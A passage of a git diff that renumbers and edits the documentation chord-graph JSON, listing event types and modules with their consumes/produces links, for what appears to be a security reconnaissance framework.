114, - 115, - 119, - 126, + 124, + 128, 130, 132, - 134, 135, - 139, - 140, - 141, + 136, + 137, + 138, 142, 146, - 150, - 151, - 152, - 154 + 147, + 148, + 150 ] }, { @@ -174,30 +169,30 @@ "parent": 88888888, "consumes": [ 21, - 139, - 143 + 135, + 139 ], "produces": [] }, { - "id": 47, + "id": 48, "name": "EMAIL_ADDRESS", "parent": 88888888, "consumes": [ 70 ], "produces": [ - 46, - 53, + 47, + 54, 59, 63, 69, - 85, - 97, - 120, - 131, - 136, - 140 + 83, + 95, + 118, + 129, + 133, + 136 ] }, { @@ -205,21 +200,21 @@ "name": "FILESYSTEM", "parent": 88888888, "consumes": [ + 102, 103, - 104, - 147, - 148 + 143, + 144 ], "produces": [ 8, 64, - 77, - 81, - 82, - 86, - 103, - 125, - 148 + 74, + 79, + 80, + 84, + 102, + 123, + 144 ] }, { @@ -228,7 +223,7 @@ "parent": 88888888, "consumes": [ 15, - 156 + 152 ], "produces": [ 1, @@ -243,50 +238,51 @@ 31, 32, 33, - 36, + 34, + 37, 68, - 80, - 88, + 77, + 78, + 86, + 90, 92, 94, - 96, + 105, 106, 107, - 108, - 110, + 109, + 111, 112, - 113, - 127, - 128, - 133, - 134, - 137, - 139, - 144, + 125, + 126, + 131, + 132, + 135, + 140, + 141, + 143, 145, - 147, - 149, - 158 + 155 ] }, { - "id": 100, + "id": 99, "name": "GEOLOCATION", "parent": 88888888, "consumes": [], "produces": [ - 99, - 102 + 98, + 101 ] }, { - "id": 48, + "id": 49, "name": "HASHED_PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 46, - 53 + 47, + 54 ] }, { @@ -299,22 +295,23 @@ 26, 68, 71, - 77, - 88, - 94, + 74, + 86, + 92, + 109, 110, 111, - 112, + 115, 116, 117, - 118, - 139, - 144, - 147, - 158 + 135, + 136, + 140, + 143, + 155 ], "produces": [ - 95 + 93 ] }, { @@ -324,31 +321,31 @@ "consumes": [ 11, 15, - 39, - 99, + 40, + 98, + 100, 101, - 102, - 111, - 122, - 133, - 134, - 139 + 110, + 120, + 131, + 132, + 135 ], "produces": [ 15, - 39, + 40, 62, - 101, - 139 + 100, + 135 ] }, { - "id": 123, + "id": 121, "name": "IP_RANGE", "parent": 88888888, "consumes": [ - 122, - 139 + 120, + 135 ], "produces": [] }, @@ -360,7 +357,7 @@ 8 ], "produces": [ - 89 + 87 ] }, { @@ -369,29 +366,28 @@ "parent": 88888888, "consumes": [ 15, - 78, - 95, - 111, - 121, - 140 + 75, + 93, + 110, + 119 ], "produces": [ 15, - 39, - 122, - 133, - 134, - 139 + 40, + 120, + 131, + 132, + 135 ] }, { - "id": 40, + "id": 41, "name": "OPEN_UDP_PORT", "parent": 88888888, "consumes": [], "produces": [ - 39, - 133 + 40, + 131 ] }, { @@ -400,36 +396,36 @@ "parent": 88888888, "consumes": [ 65, - 84, - 89, - 124 + 82, + 87, + 122 ], "produces": [ - 139 + 135 ] }, { - "id": 49, + "id": 50, "name": "PASSWORD", "parent": 88888888, "consumes": [], "produces": [ - 46, - 53 + 47, + 54 ] }, { - "id": 41, + "id": 42, "name": "PROTOCOL", "parent": 88888888, "consumes": [ - 106, - 108, - 111 + 105, + 107, + 110 ], "produces": [ - 39, - 78 + 40, + 75 ] }, { @@ -449,10 +445,10 @@ "parent": 88888888, "consumes": [ 71, - 147 + 143 ], "produces": [ - 104 + 103 ] }, { @@ -461,18 +457,18 @@ "parent": 88888888, "consumes": [ 65, - 84, - 87, + 82, + 85, + 86, 88, - 90, - 124, - 139 + 122, + 135 ], "produces": [ 65, - 85, - 88, - 138 + 83, + 86, + 134 ] }, { @@ -487,14 +483,16 @@ 31, 32, 33, - 139 + 34, + 135 ], "produces": [ 28, 29, 31, 32, - 33 + 33, + 34 ] }, { @@ -503,22 +501,22 @@ "parent": 88888888, "consumes": [ 15, - 88, - 145, - 156, - 158 + 86, + 141, + 152, + 155 ], "produces": [ 1, 26, - 39, + 40, 68, + 86, 88, - 90, - 113, - 133, - 134, - 158 + 112, + 131, + 132, + 155 ] }, { @@ -530,39 +528,39 @@ 14, 15, 23, - 36, - 74, - 80, + 37, + 77, + 78, + 88, 90, - 92, - 95, - 98, - 107, + 93, + 96, + 106, + 111, 112, - 113, - 121, - 129, - 137, - 139, - 144, + 119, + 127, + 135, + 140, + 145, 149, - 153, - 156 + 152, + 153 ], "produces": [ - 90, - 95 + 88, + 93 ] }, { - "id": 76, + "id": 97, "name": "URL_HINT", "parent": 88888888, "consumes": [ - 75 + 154 ], "produces": [ - 98 + 96 ] }, { @@ -570,60 +568,51 @@ "name": "URL_UNVERIFIED", "parent": 88888888, "consumes": [ - 44, - 77, - 95, - 114, - 121, - 128, - 138, - 139, - 145 + 45, + 74, + 93, + 113, + 119, + 126, + 134, + 135, + 141 ], "produces": [ 18, 27, 30, - 39, + 40, 55, 59, 63, 65, 71, - 74, 75, - 78, - 83, - 90, - 97, + 81, + 88, + 95, + 127, 129, - 131, + 146, 150, + 153, 154, - 158 + 155 ] }, { - "id": 50, + "id": 51, "name": "USERNAME", "parent": 88888888, "consumes": [ - 139 + 135 ], "produces": [ - 46, - 53 + 47, + 54 ] }, - { - "id": 157, - "name": "VHOST", - "parent": 88888888, - "consumes": [ - 156 - ], - "produces": [] - }, { "id": 17, "name": "WAF", @@ -632,16 +621,16 @@ 15 ], "produces": [ - 153 + 149 ] }, { - "id": 91, + "id": 89, "name": "WEBSCREENSHOT", "parent": 88888888, "consumes": [], "produces": [ - 90 + 88 ] }, { @@ -649,19 +638,19 @@ "name": "WEB_PARAMETER", "parent": 88888888, "consumes": [ - 96, - 107, + 94, + 106, + 115, 116, 117, - 118, - 127, - 155 + 125, + 151 ], "produces": [ 71, + 115, 116, - 117, - 118 + 117 ] }, { @@ -878,7 +867,7 @@ }, { "id": 33, - "name": "bucket_microsoft", + "name": "bucket_hetzner", "parent": 99999999, "consumes": [ 7, @@ -891,6 +880,19 @@ }, { "id": 34, + "name": "bucket_microsoft", + "parent": 99999999, + "consumes": [ + 7, + 24 + ], + "produces": [ + 4, + 24 + ] + }, + { + "id": 35, "name": "bufferoverrun", "parent": 99999999, "consumes": [ @@ -901,7 +903,7 @@ ] }, { - "id": 35, + "id": 36, "name": "builtwith", "parent": 99999999, "consumes": [ @@ -912,7 +914,7 @@ ] }, { - "id": 36, + "id": 37, "name": "bypass403", "parent": 99999999, "consumes": [ @@ -923,7 +925,7 @@ ] }, { - "id": 37, + "id": 38, "name": "c99", "parent": 99999999, "consumes": [ @@ -934,7 +936,7 @@ ] }, { - "id": 38, + "id": 39, "name": "censys_dns", "parent": 99999999, "consumes": [ @@ -945,7 +947,7 @@ ] }, { - "id": 39, + "id": 40, "name": "censys_ip", "parent": 99999999, "consumes": [ @@ -955,14 +957,14 @@ 7, 12, 16, - 40, 41, + 42, 5, 20 ] }, { - "id": 42, + "id": 43, "name": "certspotter", "parent": 99999999, "consumes": [ @@ -973,7 +975,7 @@ ] }, { - "id": 43, + "id": 44, "name": "chaos", "parent": 99999999, "consumes": [ @@ -984,32 +986,32 @@ ] }, { - "id": 44, + "id": 45, "name": "code_repository", "parent": 99999999, "consumes": [ 20 ], "produces": [ - 45 + 46 ] }, { - "id": 46, + "id": 47, "name": "credshed", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, 48, 49, - 50 + 50, + 51 ] }, { - "id": 51, + "id": 52, "name": "crt", "parent": 99999999, "consumes": [ @@ -1020,7 +1022,7 @@ ] }, { - "id": 52, + "id": 53, "name": "crt_db", "parent": 99999999, "consumes": [ @@ -1031,28 +1033,17 @@ ] }, { - "id": 53, + "id": 54, "name": "dehashed", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, 48, 49, - 50 - ] - }, - { - "id": 54, - "name": "digitorus", - "parent": 99999999, - "consumes": [ - 7 - ], - "produces": [ - 7 + 50, + 51 ] }, { @@ -1098,7 +1089,7 @@ ], "produces": [ 7, - 47, + 48, 20 ] }, @@ -1143,7 +1134,7 @@ 7 ], "produces": [ - 47, + 48, 56, 20 ] @@ -1153,7 +1144,7 @@ "name": "docker_pull", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 @@ -1168,7 +1159,7 @@ 67 ], "produces": [ - 45, + 46, 67, 20 ] @@ -1193,7 +1184,7 @@ 7 ], "produces": [ - 47 + 48 ] }, { @@ -1201,7 +1192,7 @@ "name": "emails", "parent": 99999999, "consumes": [ - 47 + 48 ], "produces": [] }, @@ -1220,28 +1211,6 @@ }, { "id": 74, - "name": "ffuf", - "parent": 99999999, - "consumes": [ - 3 - ], - "produces": [ - 20 - ] - }, - { - "id": 75, - "name": "ffuf_shortnames", - "parent": 99999999, - "consumes": [ - 76 - ], - "produces": [ - 20 - ] - }, - { - "id": 77, "name": "filedownload", "parent": 99999999, "consumes": [ @@ -1253,19 +1222,19 @@ ] }, { - "id": 78, + "id": 75, "name": "fingerprintx", "parent": 99999999, "consumes": [ 16 ], "produces": [ - 41, + 42, 20 ] }, { - "id": 79, + "id": 76, "name": "fullhunt", "parent": 99999999, "consumes": [ @@ -1276,53 +1245,64 @@ ] }, { - "id": 80, + "id": 77, + "name": "generic_ssrf", + "parent": 99999999, + "consumes": [ + 3 + ], + "produces": [ + 4 + ] + }, + { + "id": 78, "name": "git", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 45, + 46, 4 ] }, { - "id": 81, + "id": 79, "name": "git_clone", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 82, + "id": 80, "name": "gitdumper", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 83, + "id": 81, "name": "github_codesearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 45, + 46, 20 ] }, { - "id": 84, + "id": 82, "name": "github_org", "parent": 99999999, "consumes": [ @@ -1330,45 +1310,45 @@ 67 ], "produces": [ - 45 + 46 ] }, { - "id": 85, + "id": 83, "name": "github_usersearch", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, + 48, 67 ] }, { - "id": 86, + "id": 84, "name": "github_workflows", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 87, + "id": 85, "name": "gitlab_com", "parent": 99999999, "consumes": [ 67 ], "produces": [ - 45 + 46 ] }, { - "id": 88, + "id": 86, "name": "gitlab_onprem", "parent": 99999999, "consumes": [ @@ -1377,18 +1357,18 @@ 5 ], "produces": [ - 45, + 46, 4, 67, 5 ] }, { - "id": 89, + "id": 87, "name": "google_playstore", "parent": 99999999, "consumes": [ - 45, + 46, 66 ], "produces": [ @@ -1396,7 +1376,7 @@ ] }, { - "id": 90, + "id": 88, "name": "gowitness", "parent": 99999999, "consumes": [ @@ -1407,11 +1387,11 @@ 5, 3, 20, - 91 + 89 ] }, { - "id": 92, + "id": 90, "name": "graphql_introspection", "parent": 99999999, "consumes": [ @@ -1422,7 +1402,7 @@ ] }, { - "id": 93, + "id": 91, "name": "hackertarget", "parent": 99999999, "consumes": [ @@ -1433,7 +1413,7 @@ ] }, { - "id": 94, + "id": 92, "name": "host_header", "parent": 99999999, "consumes": [ @@ -1444,8 +1424,8 @@ ] }, { - "id": 95, - "name": "httpx", + "id": 93, + "name": "http", "parent": 99999999, "consumes": [ 16, @@ -1458,7 +1438,7 @@ ] }, { - "id": 96, + "id": 94, "name": "hunt", "parent": 99999999, "consumes": [ @@ -1469,7 +1449,7 @@ ] }, { - "id": 97, + "id": 95, "name": "hunterio", "parent": 99999999, "consumes": [ @@ -1477,34 +1457,34 @@ ], "produces": [ 7, - 47, + 48, 20 ] }, { - "id": 98, + "id": 96, "name": "iis_shortnames", "parent": 99999999, "consumes": [ 3 ], "produces": [ - 76 + 97 ] }, { - "id": 99, + "id": 98, "name": "ip2location", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 100 + 99 ] }, { - "id": 101, + "id": 100, "name": "ipneighbor", "parent": 99999999, "consumes": [ @@ -1515,18 +1495,18 @@ ] }, { - "id": 102, + "id": 101, "name": "ipstack", "parent": 99999999, "consumes": [ 12 ], "produces": [ - 100 + 99 ] }, { - "id": 103, + "id": 102, "name": "jadx", "parent": 99999999, "consumes": [ @@ -1537,7 +1517,7 @@ ] }, { - "id": 104, + "id": 103, "name": "kreuzberg", "parent": 99999999, "consumes": [ @@ -1548,7 +1528,7 @@ ] }, { - "id": 105, + "id": 104, "name": "leakix", "parent": 99999999, "consumes": [ @@ -1559,18 +1539,18 @@ ] }, { - "id": 106, + "id": 105, "name": "legba", "parent": 99999999, "consumes": [ - 41 + 42 ], "produces": [ 4 ] }, { - "id": 107, + "id": 106, "name": "lightfuzz", "parent": 99999999, "consumes": [ @@ -1582,18 +1562,18 @@ ] }, { - "id": 108, + "id": 107, "name": "medusa", "parent": 99999999, "consumes": [ - 41 + 42 ], "produces": [ 4 ] }, { - "id": 109, + "id": 108, "name": "myssl", "parent": 99999999, "consumes": [ @@ -1604,7 +1584,7 @@ ] }, { - "id": 110, + "id": 109, "name": "newsletters", "parent": 99999999, "consumes": [ @@ -1615,7 +1595,7 @@ ] }, { - "id": 111, + "id": 110, "name": "nmap_xml", "parent": 99999999, "consumes": [ @@ -1623,12 +1603,12 @@ 2, 12, 16, - 41 + 42 ], "produces": [] }, { - "id": 112, + "id": 111, "name": "ntlm", "parent": 99999999, "consumes": [ @@ -1641,7 +1621,7 @@ ] }, { - "id": 113, + "id": 112, "name": "nuclei", "parent": 99999999, "consumes": [ @@ -1653,7 +1633,7 @@ ] }, { - "id": 114, + "id": 113, "name": "oauth", "parent": 99999999, "consumes": [ @@ -1665,7 +1645,7 @@ ] }, { - "id": 115, + "id": 114, "name": "otx", "parent": 99999999, "consumes": [ @@ -1676,7 +1656,7 @@ ] }, { - "id": 116, + "id": 115, "name": "paramminer_cookies", "parent": 99999999, "consumes": [ @@ -1688,7 +1668,7 @@ ] }, { - "id": 117, + "id": 116, "name": "paramminer_getparams", "parent": 99999999, "consumes": [ @@ -1700,7 +1680,7 @@ ] }, { - "id": 118, + "id": 117, "name": "paramminer_headers", "parent": 99999999, "consumes": [ @@ -1712,29 +1692,18 @@ ] }, { - "id": 119, - "name": "passivetotal", - "parent": 99999999, - "consumes": [ - 7 - ], - "produces": [ - 7 - ] - }, - { - "id": 120, + "id": 118, "name": "pgp", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47 + 48 ] }, { - "id": 121, + "id": 119, "name": "portfilter", "parent": 99999999, "consumes": [ @@ -1745,20 +1714,20 @@ "produces": [] }, { - "id": 122, + "id": 120, "name": "portscan", "parent": 99999999, "consumes": [ 7, 12, - 123 + 121 ], "produces": [ 16 ] }, { - "id": 124, + "id": 122, "name": "postman", "parent": 99999999, "consumes": [ @@ -1766,22 +1735,22 @@ 67 ], "produces": [ - 45 + 46 ] }, { - "id": 125, + "id": 123, "name": "postman_download", "parent": 99999999, "consumes": [ - 45 + 46 ], "produces": [ 10 ] }, { - "id": 126, + "id": 124, "name": "rapiddns", "parent": 99999999, "consumes": [ @@ -1792,7 +1761,7 @@ ] }, { - "id": 127, + "id": 125, "name": "reflected_parameters", "parent": 99999999, "consumes": [ @@ -1803,7 +1772,7 @@ ] }, { - "id": 128, + "id": 126, "name": "retirejs", "parent": 99999999, "consumes": [ @@ -1814,7 +1783,7 @@ ] }, { - "id": 129, + "id": 127, "name": "robots", "parent": 99999999, "consumes": [ @@ -1825,7 +1794,7 @@ ] }, { - "id": 130, + "id": 128, "name": "securitytrails", "parent": 99999999, "consumes": [ @@ -1836,19 +1805,19 @@ ] }, { - "id": 131, + "id": 129, "name": "securitytxt", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47, + 48, 20 ] }, { - "id": 132, + "id": 130, "name": "shodan_dns", "parent": 99999999, "consumes": [ @@ -1859,7 +1828,7 @@ ] }, { - "id": 133, + "id": 131, "name": "shodan_enterprise", "parent": 99999999, "consumes": [ @@ -1868,12 +1837,12 @@ "produces": [ 4, 16, - 40, + 41, 5 ] }, { - "id": 134, + "id": 132, "name": "shodan_idb", "parent": 99999999, "consumes": [ @@ -1888,40 +1857,18 @@ ] }, { - "id": 135, - "name": "sitedossier", - "parent": 99999999, - "consumes": [ - 7 - ], - "produces": [ - 7 - ] - }, - { - "id": 136, + "id": 133, "name": "skymem", "parent": 99999999, "consumes": [ 7 ], "produces": [ - 47 - ] - }, - { - "id": 137, - "name": "smuggler", - "parent": 99999999, - "consumes": [ - 3 - ], - "produces": [ - 4 + 48 ] }, { - "id": 138, + "id": 134, "name": "social", "parent": 99999999, "consumes": [ @@ -1932,7 +1879,7 @@ ] }, { - "id": 139, + "id": 135, "name": "speculate", "parent": 99999999, "consumes": [ @@ -1941,12 +1888,12 @@ 22, 2, 12, - 123, + 121, 67, 24, 3, 20, - 50 + 51 ], "produces": [ 7, @@ -1957,19 +1904,19 @@ ] }, { - "id": 140, + "id": 136, "name": "sslcert", "parent": 99999999, "consumes": [ - 16 + 2 ], "produces": [ 7, - 47 + 48 ] }, { - "id": 141, + "id": 137, "name": "subdomaincenter", "parent": 99999999, "consumes": [ @@ -1980,7 +1927,7 @@ ] }, { - "id": 142, + "id": 138, "name": "subdomainradar", "parent": 99999999, "consumes": [ @@ -1991,7 +1938,7 @@ ] }, { - "id": 143, + "id": 139, "name": "subdomains", "parent": 99999999, "consumes": [ @@ -2001,7 +1948,7 @@ "produces": [] }, { - "id": 144, + "id": 140, "name": "telerik", "parent": 99999999, "consumes": [ @@ -2013,11 +1960,11 @@ ] }, { - "id": 145, + "id": 141, "name": "trajan", "parent": 99999999, "consumes": [ - 45, + 46, 5, 20 ], @@ -2026,7 +1973,7 @@ ] }, { - "id": 146, + "id": 142, "name": "trickest", "parent": 99999999, "consumes": [ @@ -2037,11 +1984,11 @@ ] }, { - "id": 147, + "id": 143, "name": "trufflehog", "parent": 99999999, "consumes": [ - 45, + 46, 10, 2, 72 @@ -2051,7 +1998,7 @@ ] }, { - "id": 148, + "id": 144, "name": "unarchive", "parent": 99999999, "consumes": [ @@ -2062,7 +2009,7 @@ ] }, { - "id": 149, + "id": 145, "name": "url_manipulation", "parent": 99999999, "consumes": [ @@ -2073,7 +2020,7 @@ ] }, { - "id": 150, + "id": 146, "name": "urlscan", "parent": 99999999, "consumes": [ @@ -2085,7 +2032,7 @@ ] }, { - "id": 151, + "id": 147, "name": "viewdns", "parent": 99999999, "consumes": [ @@ -2096,7 +2043,7 @@ ] }, { - "id": 152, + "id": 148, "name": "virustotal", "parent": 99999999, "consumes": [ @@ -2107,7 +2054,7 @@ ] }, { - "id": 153, + "id": 149, "name": "wafw00f", "parent": 99999999, "consumes": [ @@ -2118,7 +2065,7 @@ ] }, { - "id": 154, + "id": 150, "name": "wayback", "parent": 99999999, "consumes": [ @@ -2130,7 +2077,7 @@ ] }, { - "id": 155, + "id": 151, "name": "web_parameters", "parent": 99999999, "consumes": [ @@ -2139,19 +2086,40 @@ "produces": [] }, { - "id": 156, + "id": 152, "name": "web_report", "parent": 99999999, "consumes": [ 4, 5, - 3, - 157 + 3 ], "produces": [] }, { - "id": 158, + "id": 153, + "name": "webbrute", + "parent": 99999999, + "consumes": [ + 3 + ], + "produces": [ + 20 + ] + }, + { + "id": 154, + "name": "webbrute_shortnames", + "parent": 99999999, + "consumes": [ + 97 + ], + "produces": [ + 20 + ] + }, + { + "id": 155, "name": "wpscan", "parent": 99999999, "consumes": [ diff --git a/docs/data/chord_graph/rels.json b/docs/data/chord_graph/rels.json index 71c04b3bfc..e3cf6566c3 100644 --- a/docs/data/chord_graph/rels.json +++ b/docs/data/chord_graph/rels.json @@ -320,7 +320,17 @@ "type": "consumes" }, { - "source": 7, + "source": 34, + "target": 24, + "type": "consumes" + }, + { + "source": 4, + "target": 34, + "type": "produces" + }, + { + "source": 24, "target": 34, "type": "produces" }, @@ -336,21 +346,21 @@ }, { "source": 36, - "target": 3, + "target": 7, "type": "consumes" }, { - "source": 4, + "source": 7, "target": 36, "type": "produces" }, { "source": 37, - "target": 7, + "target": 3, "type": "consumes" }, { - "source": 7, + "source": 4, "target": 37, "type": "produces" }, @@ -366,7 +376,7 @@ }, { "source": 39, - "target": 12, + "target": 7, "type": "consumes" }, { @@ -374,99 +384,99 @@ "target": 39, "type": "produces" }, + { + "source": 40, + "target": 12, + "type": "consumes" + }, + { + "source": 7, + "target": 40, + "type": "produces" + }, { "source": 12, - "target": 39, + "target": 40, "type": "produces" }, { "source": 16, - "target": 39, + "target": 40, "type": "produces" }, { - "source": 40, - "target": 39, + "source": 41, + "target": 40, "type": "produces" }, { - "source": 41, - "target": 39, + "source": 42, + "target": 40, "type": "produces" }, { "source": 5, - "target": 39, + "target": 40, "type": "produces" }, { "source": 20, - "target": 39, + "target": 40, "type": "produces" }, { - "source": 42, + "source": 43, "target": 7, "type": "consumes" }, { "source": 7, - "target": 42, + "target": 43, "type": "produces" }, { - "source": 43, + "source": 44, "target": 7, "type": "consumes" }, { "source": 7, - "target": 43, + "target": 44, "type": "produces" }, { - "source": 44, + "source": 45, "target": 20, "type": "consumes" }, { - "source": 45, - "target": 44, + "source": 46, + "target": 45, "type": "produces" }, { - "source": 46, + "source": 47, "target": 7, "type": "consumes" }, - { - "source": 47, - "target": 46, - "type": "produces" - }, { "source": 48, - "target": 46, + "target": 47, "type": "produces" }, { "source": 49, - "target": 46, + "target": 47, "type": "produces" }, { "source": 50, - "target": 46, + "target": 47, "type": "produces" }, { "source": 51, - "target": 7, - "type": "consumes" - }, - { - "source": 7, - "target": 51, + "target": 47, "type": "produces" }, { @@ -485,32 +495,32 @@ "type": "consumes" }, { - "source": 47, + "source": 7, "target": 53, "type": "produces" }, + { + "source": 54, + "target": 7, + "type": "consumes" + }, { "source": 48, - "target": 53, + "target": 54, "type": "produces" }, { "source": 49, - "target": 53, + "target": 54, "type": "produces" }, { "source": 50, - "target": 53, + "target": 54, "type": "produces" }, { - "source": 54, - "target": 7, - "type": "consumes" - }, - { - "source": 7, + "source": 51, "target": 54, "type": "produces" }, @@ -560,7 +570,7 @@ "type": "produces" }, { - "source": 47, + "source": 48, "target": 59, "type": "produces" }, @@ -610,7 +620,7 @@ "type": "consumes" }, { - "source": 47, + "source": 48, "target": 63, "type": "produces" }, @@ -626,7 +636,7 @@ }, { "source": 64, - "target": 45, + "target": 46, "type": "consumes" }, { @@ -645,7 +655,7 @@ "type": "consumes" }, { - "source": 45, + "source": 46, "target": 65, "type": "produces" }, @@ -680,13 +690,13 @@ "type": "consumes" }, { - "source": 47, + "source": 48, "target": 69, "type": "produces" }, { "source": 70, - "target": 47, + "target": 48, "type": "consumes" }, { @@ -711,1157 +721,1132 @@ }, { "source": 74, - "target": 3, - "type": "consumes" - }, - { - "source": 20, - "target": 74, - "type": "produces" - }, - { - "source": 75, - "target": 76, - "type": "consumes" - }, - { - "source": 20, - "target": 75, - "type": "produces" - }, - { - "source": 77, "target": 2, "type": "consumes" }, { - "source": 77, + "source": 74, "target": 20, "type": "consumes" }, { "source": 10, - "target": 77, + "target": 74, "type": "produces" }, { - "source": 78, + "source": 75, "target": 16, "type": "consumes" }, { - "source": 41, - "target": 78, + "source": 42, + "target": 75, "type": "produces" }, { "source": 20, - "target": 78, + "target": 75, "type": "produces" }, { - "source": 79, + "source": 76, "target": 7, "type": "consumes" }, { "source": 7, - "target": 79, + "target": 76, "type": "produces" }, { - "source": 80, + "source": 77, "target": 3, "type": "consumes" }, { - "source": 45, - "target": 80, + "source": 4, + "target": 77, + "type": "produces" + }, + { + "source": 78, + "target": 3, + "type": "consumes" + }, + { + "source": 46, + "target": 78, "type": "produces" }, { "source": 4, - "target": 80, + "target": 78, "type": "produces" }, { - "source": 81, - "target": 45, + "source": 79, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 81, + "target": 79, "type": "produces" }, { - "source": 82, - "target": 45, + "source": 80, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 82, + "target": 80, "type": "produces" }, { - "source": 83, + "source": 81, "target": 7, "type": "consumes" }, { - "source": 45, - "target": 83, + "source": 46, + "target": 81, "type": "produces" }, { "source": 20, - "target": 83, + "target": 81, "type": "produces" }, { - "source": 84, + "source": 82, "target": 66, "type": "consumes" }, { - "source": 84, + "source": 82, "target": 67, "type": "consumes" }, { - "source": 45, - "target": 84, + "source": 46, + "target": 82, "type": "produces" }, { - "source": 85, + "source": 83, "target": 7, "type": "consumes" }, { - "source": 47, - "target": 85, + "source": 48, + "target": 83, "type": "produces" }, { "source": 67, - "target": 85, + "target": 83, "type": "produces" }, { - "source": 86, - "target": 45, + "source": 84, + "target": 46, "type": "consumes" }, { "source": 10, - "target": 86, + "target": 84, "type": "produces" }, { - "source": 87, + "source": 85, "target": 67, "type": "consumes" }, { - "source": 45, - "target": 87, + "source": 46, + "target": 85, "type": "produces" }, { - "source": 88, + "source": 86, "target": 2, "type": "consumes" }, { - "source": 88, + "source": 86, "target": 67, "type": "consumes" }, { - "source": 88, + "source": 86, "target": 5, "type": "consumes" }, { - "source": 45, - "target": 88, + "source": 46, + "target": 86, "type": "produces" }, { "source": 4, - "target": 88, + "target": 86, "type": "produces" }, { "source": 67, - "target": 88, + "target": 86, "type": "produces" }, { "source": 5, - "target": 88, + "target": 86, "type": "produces" }, { - "source": 89, - "target": 45, + "source": 87, + "target": 46, "type": "consumes" }, { - "source": 89, + "source": 87, "target": 66, "type": "consumes" }, { "source": 9, - "target": 89, + "target": 87, "type": "produces" }, { - "source": 90, + "source": 88, "target": 67, "type": "consumes" }, { - "source": 90, + "source": 88, "target": 3, "type": "consumes" }, { "source": 5, - "target": 90, + "target": 88, "type": "produces" }, { "source": 3, - "target": 90, + "target": 88, "type": "produces" }, { "source": 20, - "target": 90, + "target": 88, "type": "produces" }, { - "source": 91, - "target": 90, + "source": 89, + "target": 88, "type": "produces" }, { - "source": 92, + "source": 90, "target": 3, "type": "consumes" }, { "source": 4, - "target": 92, + "target": 90, "type": "produces" }, { - "source": 93, + "source": 91, "target": 7, "type": "consumes" }, { "source": 7, - "target": 93, + "target": 91, "type": "produces" }, { - "source": 94, + "source": 92, "target": 2, "type": "consumes" }, { "source": 4, - "target": 94, + "target": 92, "type": "produces" }, { - "source": 95, + "source": 93, "target": 16, "type": "consumes" }, { - "source": 95, + "source": 93, "target": 3, "type": "consumes" }, { - "source": 95, + "source": 93, "target": 20, "type": "consumes" }, { "source": 2, - "target": 95, + "target": 93, "type": "produces" }, { "source": 3, - "target": 95, + "target": 93, "type": "produces" }, { - "source": 96, + "source": 94, "target": 73, "type": "consumes" }, { "source": 4, - "target": 96, + "target": 94, "type": "produces" }, { - "source": 97, + "source": 95, "target": 7, "type": "consumes" }, { "source": 7, - "target": 97, + "target": 95, "type": "produces" }, { - "source": 47, - "target": 97, + "source": 48, + "target": 95, "type": "produces" }, { "source": 20, - "target": 97, + "target": 95, "type": "produces" }, { - "source": 98, + "source": 96, "target": 3, "type": "consumes" }, { - "source": 76, - "target": 98, + "source": 97, + "target": 96, "type": "produces" }, { - "source": 99, + "source": 98, "target": 12, "type": "consumes" }, { - "source": 100, - "target": 99, + "source": 99, + "target": 98, "type": "produces" }, { - "source": 101, + "source": 100, "target": 12, "type": "consumes" }, { "source": 12, - "target": 101, + "target": 100, "type": "produces" }, { - "source": 102, + "source": 101, "target": 12, "type": "consumes" }, { - "source": 100, - "target": 102, + "source": 99, + "target": 101, "type": "produces" }, { - "source": 103, + "source": 102, "target": 10, "type": "consumes" }, { "source": 10, - "target": 103, + "target": 102, "type": "produces" }, { - "source": 104, + "source": 103, "target": 10, "type": "consumes" }, { "source": 72, - "target": 104, + "target": 103, "type": "produces" }, { - "source": 105, + "source": 104, "target": 7, "type": "consumes" }, { "source": 7, - "target": 105, + "target": 104, "type": "produces" }, { - "source": 106, - "target": 41, + "source": 105, + "target": 42, "type": "consumes" }, { "source": 4, - "target": 106, + "target": 105, "type": "produces" }, { - "source": 107, + "source": 106, "target": 3, "type": "consumes" }, { - "source": 107, + "source": 106, "target": 73, "type": "consumes" }, { "source": 4, - "target": 107, + "target": 106, "type": "produces" }, { - "source": 108, - "target": 41, + "source": 107, + "target": 42, "type": "consumes" }, { "source": 4, - "target": 108, + "target": 107, "type": "produces" }, { - "source": 109, + "source": 108, "target": 7, "type": "consumes" }, { "source": 7, - "target": 109, + "target": 108, "type": "produces" }, { - "source": 110, + "source": 109, "target": 2, "type": "consumes" }, { "source": 4, - "target": 110, + "target": 109, "type": "produces" }, { - "source": 111, + "source": 110, "target": 7, "type": "consumes" }, { - "source": 111, + "source": 110, "target": 2, "type": "consumes" }, { - "source": 111, + "source": 110, "target": 12, "type": "consumes" }, { - "source": 111, + "source": 110, "target": 16, "type": "consumes" }, { - "source": 111, - "target": 41, + "source": 110, + "target": 42, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 2, "type": "consumes" }, { - "source": 112, + "source": 111, "target": 3, "type": "consumes" }, { "source": 7, - "target": 112, + "target": 111, "type": "produces" }, { "source": 4, - "target": 112, + "target": 111, "type": "produces" }, { - "source": 113, + "source": 112, "target": 3, "type": "consumes" }, { "source": 4, - "target": 113, + "target": 112, "type": "produces" }, { "source": 5, - "target": 113, + "target": 112, "type": "produces" }, { - "source": 114, + "source": 113, "target": 7, "type": "consumes" }, { - "source": 114, + "source": 113, "target": 20, "type": "consumes" }, { "source": 7, - "target": 114, + "target": 113, "type": "produces" }, { - "source": 115, + "source": 114, "target": 7, "type": "consumes" }, { "source": 7, - "target": 115, + "target": 114, "type": "produces" }, { - "source": 116, + "source": 115, "target": 2, "type": "consumes" }, { - "source": 116, + "source": 115, "target": 73, "type": "consumes" }, { "source": 73, - "target": 116, + "target": 115, "type": "produces" }, { - "source": 117, + "source": 116, "target": 